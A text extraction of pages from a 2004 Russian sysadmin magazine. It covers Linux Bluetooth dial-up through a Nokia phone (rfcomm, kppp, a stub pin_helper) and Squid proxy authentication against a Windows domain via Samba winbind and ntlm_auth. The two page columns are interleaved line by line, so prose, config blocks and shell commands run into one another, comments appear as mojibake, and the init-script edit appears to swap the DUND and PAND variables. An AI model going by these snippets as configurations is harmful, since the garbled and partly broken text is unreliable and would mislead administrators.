"L2CAP" (0x0100) "RFCOMM" (0x0003)
"RFCOMM" (0x0003) Channel: 1
Channel: 2 Language Base Attr List:
Language Base Attr List: code_ISO639: 0x656e
code_ISO639: 0x656e encoding: 0x6a
encoding: 0x6a base_offset: 0x100
base_offset: 0x100 Profile Descriptor List:
Profile Descriptor List: "Dialup Networking" (0x1103)
"Fax" (0x1111) Version: 0x0100
Version: 0x0100
Думаю, что для выхода в Интернет нам лучше всего ис-
Service Name: OBEX Object Push пользовать сервис под названием «Dialup Networking», при-
Service RecHandle: 0x1001f вязанный к каналу номер 1 (Channel: 1). Для того чтобы вос-
Service Class ID List:
"OBEX Object Push" (0x1105) пользоваться интересующим сервисом, нужно связать его
Protocol Descriptor List: с устройством rfcomm.
"L2CAP" (0x0100) Проверим, есть ли у нас в системе столь необходимые
"RFCOMM" (0x0003)
Channel: 9 устройства:
"OBEX" (0x0008)
Language Base Attr List: # ll /dev/rfcomm*
code_ISO639: 0x656e lrwxrwxrwx 1 root root 6 Aug 4 09:29 /dev/rfcomm0 -> ttyUB0
encoding: 0x6a lrwxrwxrwx 1 root root 6 Aug 4 09:29 /dev/rfcomm1 -> ttyUB1
base_offset: 0x100 lrwxrwxrwx 1 root root 6 Aug 4 09:29 /dev/rfcomm2 -> ttyUB2
Profile Descriptor List:
"OBEX Object Push" (0x1105) Для того чтобы получить возможность работать с устрой-
Version: 0x0100 ством rfcomm, как с обычным COM-портом, нужно привя-
Service Name: Audio Gateway
зать его к каналу, через который доступен интересный для
Service RecHandle: 0x10020 нас сервис. Как уже упоминалось выше, Dial-up Networking

26
администрирование
в телефоне Nokia 6310i закреплен за первым каналом. В
устройствах от других производителей могут использовать-
ся номера каналов, отличающиеся от приведенных в этой
статье.
Привязать канал к rfcomm можно либо на постоянной ос-
нове с помощью команды bind, либо на один раз с помощью
команды connect. В первом случае привязка сохранится вне
зависимости от того, сколько раз мы соединялись с устрой-
ством, а во втором после окончания соединения привязка
будет разорвана. Привожу оба варианта:

# rfcomm bind rfcomm0 00:02:EE:B6:6A:E5 1


# rfcomm connect rfcomm0 00:02:EE:B6:6A:E5 1

После выполнения любой из этих команд нужно прове-


рить, правильно ли все работает. Делается это с помощью
вызова следующей команды:

# rfcomm show
rfcomm0: 00:02:EE:B6:6A:E5 channel 1 clean

Самые нетерпеливые могут присоединиться к устрой-


ству /dev/rfcomm0 программой minicom и управлять моде-
мом с помощью стандартных AT-команд. Я же предпочи-
таю пойти другим путем. Для дозвона к провайдеру будет
использоваться программа kppp. Впрочем, все желающие
могут использовать стандартный pppd. Это всего лишь дело Завершив настройку соединения, переходим на вклад-
вкуса, потому что kppp все равно запускает pppd. ку «Устройство» и изменяем данные, отображенные на ней,
Запустив kppp, воспользуемся кнопкой «Настроить», следующим образом.
затем выбираем вкладку соединения и жмем Создать →
Ручная настройка. Настраиваем все так, как показано на
следующих рисунках.

Выбираем только что созданное соединение, указав имя


пользователя и пароль, жмем «Подключиться».
Если все настроено правильно, то на дисплее телефо-
на должен появиться следующий запрос:

№10(23), октябрь 2004 27


администрирование
Согласившись, вводим PIN-код, который в дальнейшем Во время работы я столкнулся с такой проблемой. Не-
будет использоваться для авторизации соединения с уст- смотря на то что телефон признал в компьютере свою пару,
ройством tigroid. подключение не срабатывало. В этом случае рекомендует-
ся разрушить парность устройств, воспользоваться меню,
изображенными на следующих снимках. Затем, удалив
файл /etc/bluetooth/link_key, заново пройти процедуру ав-
торизации.

На экране компьютера появится аналогичный запрос на


ввод PIN-кода.

В случае если с авторизацией все хорошо, нужно по-


пробовать выполнить соединение с провайдером. На экра-
не телефона должны появляться следующие изображения.

Стоит отметить, что принятием кода занимается про-


грамма pin_helper, о которой мы говорили ранее. К сожа-
лению, не во всех дистрибутивах она работает гладко. Если
у вас дело обстоит именно так, то можно написать свой соб-
ственный pin_helper примерно такого содержания:

#!/bin/sh
echo "PIN:12345"

Даем ему исполняемые атрибуты и вписываем назва-


ние в /etc/bluetooth/hcid.conf. Проблем – как не бывало. В
случае если оба устройства опознают друг друга с помо-
щью одинакового PIN-кода, происходит соединение в пару.

Опробовав полученное соединение, вновь возвращаем-


ся к настройке системы.

Иначе получаем вот такое уведомление:

Если все прошло хорошо, то телефон начнет набирать


номер провайдера и попытается с ним соединиться. Кста-
ти, стоит сказать, что подобную процедуру ручной автори-
зации необходимо выполнить всего один раз. После этого
в файле /etc/bluetooth/link_key появится ключ соединения,
а телефон внесет компьютер по имени tigroid в список пар-
ных устройств. Впредь авторизация будет происходить ав-
томатически, не требуя нашего вмешательства.
Проверить это можно с помощью следующих меню.
Мы запускали всех демонов и привязывали устройства
вручную. Конечно, для настройки и отладки это вполне под-
ходит, но в реальной системе хотелось бы иметь немного
больше удобства. В этом нам поможет сервис bluetooth. Для
того чтобы автоматически привязывать нужный канал к
устройству rfcomm, вносим в файл /etc/rfcomm.conf следу-
ющие строчки:

28
администрирование
rfcomm0 { Затем ищем блок строк, отвечающий за включение сер-
# Íóæíî ëè âûïîëíÿòü àâòîìàòè÷åñêóþ ïðèâÿçêó
висов:
bind yes;
HCID_ENABLE=true
# Àäðåñ óäàëåííîãî óñòðîéñòâà SDPD_ENABLE=true
device 00:02:EE:B6:6A:E5; HIDD_ENABLE=false
HID2HCI_ENABLE=false
# Íîìåð êàíàëà RFCOMM_ENABLE=true
channel 1; DUND_ENABLE=false
PAND_ENABLE=false
# Îïèñàíèå ñîåäèíåíèÿ
comment "Dial-up Networking";
}
И после него вставляем вот такую конструкцию:

После этого стоит всего лишь выполнить команды: if $HCID_ENABLE ; then


HCID_EXEC="`which $HCID_NAME || true`"
fi
# service bluetooth stop
# service bluetooth start if $SDPD_ENABLE ; then
SDPD_EXEC="`which $SDPD_NAME || true`"
И все нужные устройства будут подключены автомати- fi
чески. В принципе система работает, но при каждом запус- if $HIDD_ENABLE ; then
ке сервиса bluetooth на экранt появляются ошибки: HIDD_EXEC="`which $HIDD_NAME || true`"
fi
# service bluetooth start if $HID2HCI_ENABLE ; then
which: no hid2hci in (/sbin:/bin:/usr/sbin:/usr/bin) HID2HCI_EXEC="`which $HID2HCI_NAME || true`"
Starting Bluetooth subsystem: fi
Starting hcid service: [ DONE ]
Starting sdpd service: [ DONE ] if $RFCOMM_ENABLE ; then
Starting hidd service: Can't open HIDP control socket: Invalid argument [FAILED]
RFCOMM_EXEC="`which $RFCOMM_NAME || true`"
Starting rfcomm service: [ DONE ]
fi
Дело в том, что в моей системе нет bluetooth-мышей, if $DUND_ENABLE ; then
клавиатур и прочих HID-устройств, но скрипт упорно наста- PAND_EXEC="`which $PAND_NAME || true`"
fi
ивает на необходимости работать с ними. И это несмотря
на то, что HID отключен установкой переменных в значе- if $PAND_ENABLE ; then
DUND_EXEC="`which $DUND_NAME || true`"
ние false. fi

HIDD_ENABLE=false После этого проблемы должны исчезнуть. Думаю, что


HID2HCI_ENABLE=false
на этом наш сегодняшний разговор о bluetooth стоит за-
Видимо, придется немного подчистить мелкие недоче- вершить. Дайте мне знать, если вас заинтересовала дан-
ты автора скрипта /etc/init.d/bluetooth. ная тема. В случае необходимости я напишу продолжение
Все проблемы возникают оттого, что скрипт пытается этого материала. В нем будет рассказано о том, как, пользу-
искать местонахождение программ раньше, чем станет из- ясь созданным bluetooth-соединением, управлять различ-
вестно, нужны ли они пользователю. Для исправления оши- ными сервисами телефона и отправлять sms.
бок находим следующие строки и либо удаляем их, либо
комментируем: Литература:
1. Specification of the Bluetooth System», Volume 1: http://
HCID_EXEC="`which $HCID_NAME || true`" www.bluetooth.com/pdf/Bluetooth_11_Specifications_
SDPD_EXEC="`which $SDPD_NAME || true`"
HIDD_EXEC="`which $HIDD_NAME || true`" Book.pdf
2. Maxim Krasnyansky: Linux BlueZ Howto Bluetooth: http://
HID2HCI_EXEC="`which $HID2HCI_NAME || true`"
RFCOMM_EXEC="`which $RFCOMM_NAME || true`" bluez.sourceforge.net/howto/
3. Official Linux Bluetooth protocol stack: http://www.bluez.org/
PAND_EXEC="`which $PAND_NAME || true`"
DUND_EXEC="`which $DUND_NAME || true`" 4. Bluez user howto: http://www.hanscees.com

IPMonitor – помощник системного администратора


Когда ваш сервер не работал, вы будете знать с точностью до минуты.

Появился новый сервис, который ориентирован на людей, ответственных за бесперебойную работу интернет-серви-
са. Система разрабатывалась для мониторинга работы веб-сайта, но может тестировать любой сетевой сервис.
Программа, работающая на сервере http://ipmonitor.ru, раз в минуту пытается установить соединение с указанным
вами IP-адресом. Сообщения об изменении состояния цели мониторинга (работает/не работает) записываются в лог и
высылаются по почте. Использовав шлюз e-mail → SMS, который есть у любого оператора сотовой связи, можно полу-
чать сообщение на сотовый телефон.

№10(23), октябрь 2004 29


администрирование

НАСТРОЙКА SQUID
ДЛЯ ИСПОЛЬЗОВАНИЯ АВТОРИЗАЦИИ
ИЗ ДОМЕНА WINDOWS 2000

РАШИД АЧИЛОВ
Постановка задачи ! Все программы собирались с помощью портов, в Makefile
Предположим, имеется компьютерная сеть на базе домена которых при необходимости вносились изменения. Дан-
Windows NT или 2000, выходящая в Интернет исключитель- ные изменения не затрагивали каталоги для размеще-
но через прокси-сервер, расположенный на компьютере под ния файлов порта.
управлением операционной системы FreeBSD. Рано или
поздно возникает необходимость контролировать доступ Все команды в данной статье запускаются от имени
пользователей прокси-сервера к различным обьектам. Пер- пользователя root. Если для выполнения команды доста-
вое, что приходит в голову в таких случаях – разделение точно привилегий рядового пользователя, это оговарива-
доступа по IP-адресам компьютеров. Этот способ достаточ- ется заранее.
но просто реализуется с помощью несложного набора ACL
в конфигурационном файле squid.conf, но он обладает од- Squid 2.5 и Samba 2.2.x
ним весьма существенным недостатком – невозможно без Первый рассматриваемый вариант – предоставление дос-
привлечения дополнительных ресурсов однозначно сказать, тупа к прокси-серверу при условии наличия действующей
какой пользователь в данный момент имел доступ к данно- учетной записи в домене Windows с использованием паке-
му ресурсу. Более удобным для администратора является та Samba 2.2.x. Версия Samba здесь имеет принципиаль-
способ, когда каждый пользователь идентифицируется и ное значение, поскольку с различными версиями пакета
получает доступ к прокси только при наличии действующей samba необходимо использовать различные варианты вне-
регистрационной записи в домене Windows (и возможно, шних аутентификаторов для squid.
только при вхождении в определенную группу домена). Ва- Для проверки имени и пароля пользователя, передан-
рианты настроек прокси-сервера, обеспечивающие полу- ных Squid, мы будем использовать аутентификаторы wb_
чение регистрационного имени пользователя, запросивше- ntlmauth и wb_auth, которые собираются вместе со Squid,
го данный ресурс, и будут рассмотрены в данной статье. если задать их сборку. Для задания сборки данных аутен-
(Оставим пока в стороне вопрос о том, что делать с этой тификаторов следует добавить «winbind» в строки --enable-
информацией – расчет статистики загрузки канала и ото- basic-auth-helpers=”список” и --enable-ntlm-auth-helpers=”спи-
бражения ее – это тема для отдельной статьи). Для моде- сок” в строке CONFIGURE_ARGS порта squid. В последней
лирования ситуации использовалась следующая конфигу- на данный момент версии порта (1.138 от 21.08.2004) эти
рация: параметры заданы по умолчанию. Если имеются исходные
! Домен на базе Windows 2000 Server. тексты Samba, то можно указать их расположение парамет-
! Прокси-сервер Squid 2.5-STABLE6 на базе FreeBSD 4.10- ром --with-samba-sources=<полный путь>, например:
STABLE.
! Samba 2.2.11 и Samba 3.0.6. --with-samba-sources=/usr/ports/net/samba/work/samba-2.2.11

30
администрирование
иначе Squid будет использовать часть исходных текстов Наконец вся предварительная работа выполнена, мож-
Samba, распространяемых вместе с ним. Если сборка вы- но переходить к настройке Squid.
полняется не с помощью портов, а самостоятельно (что В файле squid.conf после тега auth_param (для версии
крайне не рекомендуется делать), то следует добавить к 2.5.STABLE6 это строка 1000) идет длинный-длинный ком-
строке запуска configure эти параметры: ментарий к данному параметру. Там расписаны все пара-
метры для всех схем авторизации, а ниже всего этого опи-
./configure --enable-auth=”basic ntlm” ↵ сания (а оно достаточно объемное – почти полторы сотни
--enable-basic-auth-helpers=”winbind” ↵
--enable-ntlm-auth-helpers=”winbind” ↵ строк) идут строки с параметрами программ аутентифика-
... <äðóãèå ïàðàìåòðû ïîðòà, åñëè íåîáõîäèìû> ции, отмеченные символом «#» в первой позиции, распоз-
наваемым как признак комментария. В данных строках не
После сборки и установки порта в каталоге /usr/local/ вписана только собственно программа. Сделано это наме-
libexec должны появиться файлы wb_ntlmauth и wb_auth. ренно, для того чтобы человек, который возьмется настра-
Аутентификатор для проверки имени и пароля, передан- ивать эти параметры, понимал, что он делает.
ного от Squid, обращается к демону winbindd, который дол- Для того, чтобы наша схема работала, убираем символ
жен быть запущен на данном компьютере. Для обеспече- «#» из первой позиции и изменяем следующие строки фай-
ния работоспособности данной схемы Samba, в состав ко- ла squd.conf:
торой входит winbindd, должна быть собрана со следующи-
ми параметрами: auth_param ntlm program /usr/local/libexec/wb_ntlmauth
auth_param ntlm children 5
auth_param ntlm max_challenge_reuses 0
make WITH_WINBIND=yes WITH_WINBIND_AUTH_CHALLENGE=yes auth_param ntlm max_challenge_lifetime 2 minutes

auth_param basic program /usr/local/libexec/wb_auth


Если сборка самбы выполняется не через порты, а са- auth_param basic children 5
auth_param basic realm Squid proxy-caching web server
мостоятельно (что не рекомендуется делать), то к строке auth_param basic credentialsttl 2 hours
запуска configure следует добавить следующие параметры:
после чего необходимо будет перезапустить прокси-сервер.
./configure --with-winbind --with-winbind-auth-challenge ↵ Что мы сделали:
... <äðóãèå ïàðàìåòðû ïîðòà, åñëè íàäî>
! первые четыре строки описывают хелпер аутентифи-
Данная строка задает только сборку Samba безотноси- кации wb_ntlmauth, который предназначен для работы
тельно наличия на компьютере Squid. Если Samba уже была с браузером Microsoft Internet Explorer, а также с дру-
установлена и собиралась без указанных параметров, ее гими браузерами, распознающими конструкции вида
необходимо пересобрать. MYDOMAIN\myusername (еще к браузерам такого типа
По окончании сборки и установки порта в каталоге /usr/ относятся Mozilla/Firefox);
local/sbin должна появиться программа winbindd, а в ката- ! остальные строки описывают хелпер аутентификации
логе /usr/local/bin – wbinfo, которая служит для «общения» wb_auth, который предназначен для проверки имени и
с winbindd и получения от него информации. После запуска пароля, передаваемого со стандартного ввода с помо-
самбы следует проверить работоспособность winbindd сле- щью winbindd. Это позволяет использовать любые бра-
дующим образом: узеры – как графические, так и нет (lynx, например).
granch:[shelton] 101>wbinfo -p
Ping to winbindd succeeded on fd 3 Обращаю внимание на следующие моменты:
granch:[shelton] 104>wbinfo -t ! Строки в конфигурационном файле должны стоять в
checking the trust secret via RPC calls succeeded
том же порядке, что и в примере, приведенном выше.
Первая команда проверяет, работает ли winbindd. Вто- По умолчанию дело обстоит именно так. Обьясняется
рая – что учетная запись компьютера, на котором запущен это одним странным свойством браузера Microsoft
winbindd, добавлена в домен и имеет доступ к базе данных Internet Explorer – он способен использовать только
домена. Для выполнения данной команды достаточно прав первый описанный хелпер. Если первым описать хел-
пользователя, имеющего доступ к каталогу /var/db/samba/ пер wb_auth, Explorer доступ к прокси-серверу получить
winbindd_privileged. Если вывод программ отличается от не сможет.
приведенного, следует обратиться к документации по samba ! Необходим будет полный перезапуск через останов
для выяснения причины, почему winbindd неработоспосо- сервера и его последующий старт. Команды squid -k
бен, устранить эти причины и повторять тестирование до reconfigure недостаточно, поскольку при изменении па-
тех пор, пока не будет получен успешный результат. Наи- раметров аутентификации squid выгружает и загружает
более общими причинами являются: хелперы аутентификации самостоятельно.
! winbindd не запущен (несмотря на всю тривиальность
данной причины); Кроме того, необходимо изменить правила получения
! компьютер не включен в домен Windows, который ука- доступа к прокси-серверу таким образом, чтобы доступ пре-
зан в параметре workgroup конфигурационного файла доставлялся только в случае, если пользователь ввел имя
Samba (не выполнялась команда smbpasswd -j MYDOMAIN и пароль действительной записи в домене Windows.
для samba 2.x или net rpc join <type> -w MYDOMAIN для Для этого в файл squid.conf следует добавить следую-
samba 3.x). щие строки:

№10(23), октябрь 2004 31


администрирование
acl NTLMauth proxy_auth REQUIRED кое же количество ошибок) по сравнению с Samba 2.2.x.
http_access allow NTLMauth Squid еще не умеет работать с winbindd-демоном от Samba
Первая строка создает правило, согласно которому: 3.x, поэтому Samba Team поставляет собственную версию
! Доступом к прокси-серверу управляет внешняя програм- хелпера аутентификации для использования его в Squid –
ма (программы), описанная в секции auth_param (см. ntlm_auth. Поэтому при сборке Squid безразлично, что бу-
выше описание данного параметра). Если какая-либо дет задано в качестве параметров --enable-basic-auth-helpers
из программ завершается с ошибкой, отсутствует или и --enable-ntlm-auth-helpers. Для сборки Samba как обычно
дает отрицательный ответ, то вызывается следующая следует указать:
по списку, пока не будут просмотрены все присутству-
ющие в файле squid.conf строки auth_param. make WITH_WINBIND=yes
! Для доступа к прокси-серверу необходим положитель-
ный ответ от программы-аутентификатора (хелпера), при сборке через порты либо:
иначе доступ предоставлен не будет. Завершение с
ошибкой, отсутствие или отрицательный ответ всех хел- ./configure --with-winbind ... <ïðî÷èå ïàðàìåòðû, åñëè íàäî>
перов считаются отрицательным результатом и являют-
ся основанием для отказа в доступе. После сборки порта в каталоге /usr/local/bin должен по-
явиться файл ntlm_auth. Для него существует руководство
Вторая строка разрешает доступ к прокси только в том (мануал) в отличие от тех хелперов, что поставляются вме-
случае, если проверка правила NTLMauth, описанного в сте со Squid, можете посмотреть, набрав man ntlm_auth.
первой строке, завершилась успешно. Как обычно, сначала убеждаемся, что winbindd запущен
Проверяем. и Samba сконфигурирована нормально, запустив wbinfo -p
Запустив любой браузер, кроме Internet Explorer, пыта- и wbinfo -t (пример вывода программ и рекомендации, что
емся посетить какой-нибудь сайт. Получаем запрос на ввод делать, если вывод не совпадает, приведен выше).
имени и пароля. Вводим (для того чтобы не вводить его Можно переходить к изменению конфигурационного
постоянно в Mozilla/Konqueror, например, есть режим хра- файла squid.conf. Находим строку, которую редактировали
нения паролей, при котором во все последующие разы до- в прошлый раз, и изменяем вот так:
статочно нажать «OK»). Получаем доступ к сайту. Смот-
рим файл регистрационного журнала access.log прокси-сер- auth_param ntlm program /usr/local/bin/ntlm_auth ↵
--helper-protocol=squid-2.5-ntlmssp
вера и видим в конце строки, там где всегда было пусто, auth_param ntlm children 5
введенное нами имя пользователя. auth_param ntlm max_challenge_reuses 0
auth_param ntlm max_challenge_lifetime 2 minutes
Запускаем Internet Explorer. Пароль вводить не надо –
Internet Explorer обладает «неестественным» интеллектом auth_param basic program /usr/local/bin/ntlm_auth ↵
--helper-protocol=squid-2.5-basic
и передаст его сам. Получаем доступ к сайту. Смотрим файл auth_param basic children 5
регистрационного журнала access.log прокси-сервера и auth_param basic realm Squid proxy-caching web server
auth_param basic credentialsttl 2 hours
видим...
Здесь мы сталкиваемся с двумя вполне безобидными, Более подробную информацию о параметрах хелпера
но способными поначалу озадачить особенностями Internet htlm_auth можно получить из команды man ntlm_auth.
Explorer – во-первых, автоматическая передача регистра- Как обычно, следите за тем, чтобы ntlm_auth в /usr/local/
ционного имени и пароля пользователя происходит только bin был из сборки Samba, потому что Squid тоже собирает
на третий запрос бразуера, после того как он дважды по- свой собственный хелпер ntlm_auth (--enable-ntlm-auth-
лучает в ответ: TCP_DENIED/407, а во-вторых, регистраци- helpers=”SMB”). Но хелпер Squid не умеет работать с
онное имя передается в форме MYDOMAIN\myusername, что winbindd, входящим в комплект Samba 3.x. И конечно, хел-
потребует потом его дальнейшей обработки, потому что пер, обслуживающий запросы Internet Explorer, должен рас-
регистрационное имя, передаваемое прочими браузерами, полагаться перед хелпером, принимающем пароль со стан-
не содержит Windows-домена. дартного ввода.
Отличительной (и приятной) особенностью работы дан-
Squid 2.5 и Samba 3.x ного хелпера является то, что при общении с Internet Explorer
Несколько усовершенствуем нашу систему. Все бы в ней имя пользователя передается в лог без доменной части
ничего, но есть как минимум один момент, который может (myusername вместо MYDOMAIN\myusername при взаимо-
потребовать доработок. Он связан с тем, что Samba Team действии с хелперами, входящими в комплект Squid).
официально прекращает поддержку ветки 2.2.х с 1 октяб- Стоит отметить еще одну особенность данного хелпе-
ря 2004 г. для того, чтобы сосредоточить все усилия на вет- ра – для нормальной работы ему необходим доступ к pipe
ке 3.х и перспективной 4.х. Это означает то, что обнару- winbindd, который по умолчанию располагается в /var/db/
женные ошибки исправляться не будут, вне зависимости samba/winbindd_privileged. Собственно pipe имеет права
от их степени опасности. Поэтому мы заблаговременно от- 0777, но каталог, в котором он находится, имеет права 0750.
казываемся в нашей системе от Samba 2.2.11 и переходим Для решения этой проблемы достаточно изменить груп-
на Samba 3.х. пу пользователей каталога winbindd_privileged на squid:
Samba 3.x – это новый продукт Samba team, который
содержит огромное количество изменений (и примерно та- chown root:squid /var/db/samba/winbindd_privileged

32
администрирование
Squid 2.5, Samba и наличие С условием NTLMauth мы уже знакомы – оно задает
пользователей в определенной группе представление доступа только в случае успешного возвра-
Модифицируем нашу систему дальше. Сделаем так, чтобы та от хелперов аутентификации. Условие NTDCgroup зада-
пользователь мог получить доступ к прокси-серверу, толь- ет вызов внешней программы, описанной в условии ntgroup,
ко если его учетная запись находится в группе My Proxy. при этом в качестве параметра внешней программе пере-
Для решения этой проблемы можно использовать как стан- дается имя группы, вхождение в которую должно быть про-
дартные аутентификаторы прокси-сервера (ntlm_auth и верено. В данном примере это группа Internet. Доступ к про-
wbinfo_group), так и аутентификатор ntlm_auth из комплек- кси будет предоставлен только в случае одновременного
та сборки Samba. Рассмотрим каждый вариант. выполнения обоих условий.
Достоинством данного метода является независимость
Использование аутентификаторов его от версии Samba – wb_ntlmauth и wbinfo_group работа-
из комплекта прокси-сервера ют путем передачи команд демону winbindd – можно спо-
Для того чтобы использовать аутентификаторы прокси-сер- койно перейти с версии Samba 2.х на версию 3.х и не заме-
вера вместе с Samba (версия не имеет значения), необхо- тить момент перехода.
димо использовать другие программы-хелперы.
Для использования хелперов из комплекта прокси-сер- Использование аутентификаторов
вера задача аутентификации разбивается на две части – из комплекта Samba (только Samba 3.x)
используется хелпер ntlm_auth и внешняя программа Поскольку хелперы прокси-сервера не умеют работать с
wbinfo_group.pl, представляющая из себя скрипт на языке winbindd демоном из сборки Samba 3.x, рекомендуется от-
Perl. Перестраиваем конфигурацию аутентификаторов сле- казаться от их применения и использовать хелпер ntlm_auth
дущим образом: из сборки прокси-сервера (не путать с одноименным хел-
пером из сборки Samba! Хелпер прокси-сервера обычно ле-
auth_param ntlm program /usr/local/libexec ↵ жит в /usr/local/libexec, а хелпер Samba – в /usr/local/bin).
/ntlm_auth MY_DOMAIN\\dcone MY_DOMAIN\\dctwo
auth_param ntlm children 5 Кроме того, использование wbinfo_group.pl имеет один от-
auth_param ntlm max_challenge_reuses 0 рицательный момент – это скрипт, он написан на языке Perl,
auth_param ntlm max_challenge_lifetime 2 minutes
следовательно, в оперативной памяти постоянно находит-
auth_param basic program /usr/local/libexec/wb_auth ся некоторое количество копий процесса perl, интерпрети-
auth_param basic children 5
auth_param basic realm Squid proxy-caching web server рующего скрипт. Отказ от wbinfo_group.pl позволит сокра-
auth_param basic credentialsttl 2 hours тить объем требуемой памяти. Использование аутентифи-
каторов из комплекта Samba значительно проще: не нужно
Здесь dcone и dctwo – соответственно первый и вто- никаких внешних программ, не нужно никаких дополнитель-
рой контроллеры домена (имеются в виду NetBIOS-имена). ных правил – сам хелпер ntlm_auth имеет параметр --require-
Следует заметить, что здесь мы меняем только конфигура- membership-of=”Group”. Поэтому возвращаем наше прави-
цию для браузеров, которые умеют работать с конструкци- ло, регулирующее доступ к прокси-серверу, к виду, описан-
ями MY_DOMAIN\myname и не меняем конфигурацию для ному в разделе «Samba 2.5 и Samba 2.2.x».
прочих браузеров. Кроме того, в секцию external_acl_type
мы добавляем дополнительную внешнюю программу http_access allow NTLMauth
wbinfo_ group.pl (для установки данной программы следует
указать: и заменяем хелперы из поставки squid на хелпер ntlm_auth
из поставки samba следующим образом:
--with-external-acl-helpers=”wbinfo_group”
auth_param ntlm program /usr/local/bin/ntlm_auth ↵
--helper-protocol=squid-2.5-ntlmssp ↵
в строке запуска configure при сборке прокси-сервера, пос- --require-membership-of="MY_DOMAIN+My Proxy"
ледняя версия Makefile в портах установит его по умолча- auth_param ntlm children 5
auth_param ntlm max_challenge_reuses 0
нию) таким образом: auth_param ntlm max_challenge_lifetime 2 minutes

external_acl_type ntgroup concurrency=5 ↵ auth_param basic program /usr/local/bin/ntlm_auth ↵


%LOGIN /usr/local/libexec/wbinfo_group.pl --helper-protocol=squid-2.5-basic ↵
--require-membership-of="MY_DOMAIN+My Proxy"
auth_param basic children 5
Что мы сделали: задали использование внешней про- auth_param basic realm Squid proxy-caching web server
граммы-аутентификатора, с именем ntgroup (будет исполь- auth_param basic credentialsttl 2 hours
зоваться при задании ACL), пять одновременно работаю-
щих копий в памяти, передаваться ей будет регистрацион- Здесь «My Proxy» – группа, присутствие в которой дает пра-
ное имя, в ответ программа должна вернуть OK или ERR, в во пользоваться прокси-сервером. На что следует обратить
зависимости от проверяемого условия. внимание – в значении параметра --require-membership-of
Кроме того, изменяем условие предоставления досту- задана запись «MY_DOMAIN+My Proxy». В этой записи «My
па к прокси-серверу на следующее: Proxy» – название группы, а знак «+» – это значение пара-
метра «winbind separator» из конфигурационного файла
acl NTDCgroup external ntgroup Internet Samba smb.conf. В сервере, на котором проводилось тес-
acl NTLMauth proxy_auth REQUIRED
http_access allow NTLMauth NTDCgroup тирование, параметр задан следующим образом:

№10(23), октябрь 2004 33


администрирование
winbind separator = + rpc_cli: False/0
passdb: False/0
sam: False/0
Если у вас используется другой символ, его следует auth: False/0
указывать вместо знака «+» (в противном случае хелпер winbind: False/0
vfs: False/0
не сможет определить принадлежность к группе и пользо- idmap: False/0
ватель не получит доступа к прокси в конечном итоге). Сле- quota: False/0
дует иметь в виду, что данное значение параметра winbind acls: False/0

separator не является значением по умолчанию для самбы. В ответ на запрос программы вводим имя пользовате-
По умолчанию значением является «\» (обратная косая чер- ля testuser, пароль 123456.
та). Но использование этого символа в командах, переда-
ваемых в shell, как правило, чревато необходимостью «за- [2004/08/29 23:16:21, 10] utils/ntlm_auth.c:manage_squid_request(1621)
Got 'testuser 123456' from squid (length: 15).
щищать» его от того, чтобы shell не воспринял его как слу- [2004/08/29 23:16:21, 3] utils/ntlm_auth.c:check_plaintext_auth(292)
жебный, поэтому был выбран другой символ. Хотя, напри- NT_STATUS_OK: Success (0x0)
OK
мер, man smb.conf не рекомендует использовать именно «+»
чтобы избежать возможных проблем с NIS. Всегда используйте для тестирования только подобных
«пользователей», потому что пароль виден на консоли,
Если какой-либо из приведенных а также может остаться в файлах .history, .bash_history
способов не работает или .mc/history!
Отнюдь не факт, что любой описанный здесь метод зара- ! Проверить права доступа на каталог /var/db/samba/win
ботает с первого раза. Мне приходилось немало проверять, bindd_privileged, если используется хелпер ntlm_auth из
перепроверять и тестировать конфигурационные файлы, поставки Samba. При недостаточных правах хелпер мо-
прежде чем начинал работать какой-либо из методов, хотя жет выдавать в файл регистрационного журнала cache.log
в конечном итоге работали все методы. Если какой-либо сообщения, из которых совершенно невозможно понять,
браузер (Mozilla, например, но не Internet Explorer) запра- чего ему не хватает для нормальной работы.
шивает пароль и не реагирует как положено на правиль- ! При большом количестве запросов следует пропорцио-
ный, следует: нально увеличить количество загружаемых хелперов
! Убедиться, что пароль введен правильно. (параметр auth_param <method> children). При недоста-
! Посмотреть лог cache.log в каталоге логов прокси-сер- точном количестве хелперов запросы на аутентифика-
вера – хелперы выводят сообщения об ошибках туда. цию ставятся в очередь и при переполнении очереди
! Проверить правильность написания путей в правилах прокси может аварийно завершить работу. Также сле-
задания хелперов. дует обеспечить постоянную доступность контроллера
! Проверить наличие самих хелперов по указанным пу- домена, потому что при плохой связи с контроллером
тям и достаточность прав на запуск хелперов из-под домена запросы на аутентификацию опять же ставятся
пользователя, от имени которого работает прокси-сер- в очередь, и прокси может аварийно завершить работу
вер (обычно это squid из группы squid). при большом количестве хелперов, ожидающих ответа
! Если хелперы запускаются, следует обратить внимание от контроллера домена.
на моменты их запуска – если ntlm_auth, например, не
может установить связь с контроллером домена, он со- Дополнительные замечания
общит об этом.
! Если используются хелперы на базе winbindd, следует О безопасности передаваемых данных
проверить работоспособность winbindd-демона (коман- Эксперименты показали, что при использовании всех хел-
ды приводились выше). перов, кроме ntlm_auth из комплекта Samba 3.х и wb_
! Если задействован хелпер ntlm_auth из поставки Samba – ntlmauth из комплекта squid, пароль, передаваемый на про-
его можно запустить в режиме отладки с консоли, при- верку контроллеру домена, передается в открытом виде, и
казав выводить максимально подробную отладочную ин- лицо, имеющее возможность перехвата сетевого трафика
формацию. В случае успешного запуска следует ввес- с данного компьютера, сможет узнать пароли. Программы
ти через пробел имя и пароль пользователя, как пока- ntlm_auth из комплекта Samba 3.х и wb_ntlmauth из комп-
зано ниже. Для выполнения данной команды достаточ- лекта squid используют для работы с контроллером доме-
но прав пользователя, имеющего доступ к каталогу /var/ на протокол NTLM SSP, и пароль не передается по сети в
db/samba/winbindd_privileged. открытом виде даже при указании --helper-protocol=squid-
2.5-basic (этот параметр определяет не протокол работы
> ntlm_auth --helper-protocol=squid-2.5-basic хелпера с контроллером домена, а протокол работы хелпе-
--require-membership-of=”MY_DOMAIN+My Proxy” -d10 -l /tmp
[2004/08/29 23:15:22, 5] lib/debug.c:debug_dump_status(367) ра со сквидом).
INFO: Current debug levels:
all: True/10
tdb: False/0
О преобразовании логинов
printdrivers: False/0 из формата MYDOMAIN\myusername
lanman: False/0 Хелпер wb_ntlmauth записывает в лог полученный от пользо-
smb: False/0
rpc_parse: False/0 вателя логин в виде MYDOMAIN\myusername, в то время
rpc_srv: False/0 как хелпер wb_auth записывает его в формате myusername.

34
администрирование
Для того чтобы использовать полученные данные в какой- # This is a part of SquidCount package version 1.11.4
либо программе расчета статистики, необходимо унифи- # Squid log preparation to count statistic
# Developed by Rashid N. Achilov. Copyright Granch Ltd. (C)
